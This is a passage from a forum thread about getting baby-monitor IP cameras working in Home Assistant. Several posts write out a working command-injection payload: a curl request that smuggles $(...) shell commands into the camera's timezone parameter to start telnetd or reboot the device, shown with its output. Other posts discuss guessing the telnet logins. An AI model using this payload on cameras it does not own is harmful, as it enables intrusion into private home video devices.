it seems downgrade of firmware isn’t the best way to do this…in my case it works only for 1 day…I suppose there are other URL to blocks…
I suggest to read this interesting case on github:
very interesting this article where Randy explained howto gain telnet access and enable again RTSP flow:
very interesting, but sadly if I do the reboot Randy did with curl it reboots my laptop instead of the remote device and doing it in webbrowser does work but somehow the nc command doesn’t work from there…
so I guess it not possible with the MBP667 (or maybe not with the .11 firmware I am on now)
edit: seems something went wrong in the copy paste resulting in extra slashes in between, I redid the browser thing and now I get the response in the browser with set time zone: 1 (but still nothing as a response on the laptop on port 5555)
reboot laptop???
If you use curl command, it open telnet on webcam…then you have to enter in webcam using telnet, then you can redirect RTSP flow to 6668 port…
you would think so and doing the get_version does this exactly as expected, but doing the reboot was somehow rebooting the laptop 
curl "http://192.168.0.230/?action=command&command=get_version" -v
* Trying 192.168.0.230:80...
* Connected to 192.168.0.230 (192.168.0.230) port 80 (#0)
> GET /?action=command&command=get_version HTTP/1.1
> Host: 192.168.0.230
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Proxy-Connection: Keep-Alive
< Connection: Close
< Server: nuvoton
< Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0
< Pragma: no-cache
< Expires: 0
< Content-type: text/plain
<
* Closing connection 0
unless I am doing something wrong here, the reboot command would be curl "http://192.168.0.230/?action=command&command=set_city_timezone&value=$(reboot)" -v which resulted in my laptop rebooting
you have tu use this curl command:
curl -m 20 -v -g ' http://192.168.4.20/?action=command&command=set_city_timezone&value=$(IFS=’’%20’’;/usr/sbin/telnetd’`
it respondes, but still not getting in the camera. It just disconnects when I try this the value of telnetd, and in any case I still get the response from the camera that the value is set to 1 
curl 'http://192.168.0.230/?action=command&command=set_city_timezone&value=$(IFS="%20";/usr/sbin/telnetd)' -m 20 -v -g
* Trying 192.168.0.230:80...
* Connected to 192.168.0.230 (192.168.0.230) port 80 (#0)
> GET /?action=command&command=set_city_timezone&value=$(IFS="%20";/usr/sbin/telnetd) HTTP/1.1
> Host: 192.168.0.230
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Proxy-Connection: Keep-Alive
< Connection: Close
< Server: nuvoton
< Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0
< Pragma: no-cache
< Expires: 0
< Content-type: text/plain
<
* Operation timed out after 20001 milliseconds with 20 bytes received
* Closing connection 0
curl: (28) Operation timed out after 20001 milliseconds with 20 bytes received
set_city_timezone: 1%
Launch curl command in shell A (don’t have to wait it finished output), then open shell B and launch this command:
Telnet 192.168.x.x
well be damned… that actually works! now to find the default login XD
btw, doesn’t this also mean we can make sensors from curl commands to get the values like the room temp in HA?
Yes, curl command works fine. Now you can enter cli using telnet and what do you would!
Remember webcam restart every day, so every day you have to do same hack using special curl command!
I simply block all internet acces for the babymonitor (and all other IPcams) on the router. This works fine for a few years now.
True, but the problem with that is that the cam on HA is not giving sound, so if i do it through HA alone i woont have sound on the baby monitor…
So for now i block the ota alone which blocks the update until i take it with me on vacations and then downgrade again when I get back home to have it in HA as backup when their services/app is failing (which sadly happens too often from time to time)…
Unless you guys have an idea on how to get sound working on HA and properly full screen the image…
Does sound works in VLC?
I am not really sure as I am unable to get the rtsp link to work from what I see here in the topic (I am unsure what the link is for my MBP0667 and I don’t know how to find the user/pass for it).
The link that I did find to get picture from (http://192.168.0.230/axis-cgi/mjpg/video.cgi) is what I used to setup the camera in HA and that also has no sound on VLC.
maybe I just used the wrong link for this indeed to set it up on HA which made it soundless, but then again, I can’t figure out how to do the rtsp link with my camera and how to get the user/pass from it or other possible links my camera supports.
Thanks to all the posters in this thread. lots of useful info to get going. I found this cam in the trash and grabbed it to play a bit but have found it quiet useful
For those still interested in these cameras, I have an 0854, firmware version = 0845-03.10.20.tar.gz
blocked the cam form connecting to the internet and added to home assistant as a generic camera
Added the below command lines to configuration.yaml
sensor:
- platform: command_line
command: curl "http://192.168.x.x/?action=command&command=value_temperature"
name: Camera1 Temp
value_template: '{{ (value.split(": ")[1]) }}'
unit_of_measurement: °C
shell_command:
cam_move_left: curl "http://192.168.x.x/?action=command&command=move_left1.0&value=1"
cam_move_right: curl "http://192.168.x.x/?action=command&command=move_right1.0&value=1"
cam_move_up: curl "http://192.168.x.x/?action=command&command=move_forward1.0&value=1"
cam_move_down: curl "http://192.168.x.x/?action=command&command=move_backward1.0&value=1"
cam_move_left_bulk: curl "http://192.168.x.x/?action=command&command=move_left1.0"
cam_move_right_bulk: curl "http://192.168.x.x/?action=command&command=move_right1.0"
cam_move_up_bulk: curl "http://192.168.x.x/?action=command&command=move_forward1.0"
cam_move_down_bulk: curl "http://192.168.x.x/?action=command&command=move_backward1.0"
Hope this helps someone…
Am able to view and move the cam remotely and cam is visible in Homekit via HomeKit Bridge.
Can’t get into it via telnet although the command to enable it works, when I login it just gives bad username or password. any suggestion on username:password combos for telnet ?
With the shell commands in place, you can build a dash with buttons etc like this:
HomeAssiatant does not support audio of this type as far as I can tell but the audio does work in VLC
Have not yet figured out how to send audio… Any suggestions?
Try go2rtc with the WebRTC camera integration. If audio doesn’t work out of the box, try using go2rtc to transcode with ffmpeg.
I’m unsure if this is due to my model or something else but whatever I do I can’t seem to get this working eventhough I am on firmware 3.10.11 which should be having rtsp support
the only thing I can imagine is that this default user/pass is not working, but then it stays the question how to get the correct one.
try removing the user:pass@ out of the URL and put in the fields in the form… As I understand HA generic camera is trying to connect to http://user:pass@user:pass@ipaddress:6667/blinkhd
ah right that seemed to have worked! Will test audio tonight when she is going to bed to see if it actually gives audio too then
Stream is working better then i had it so far, but still no sound though…
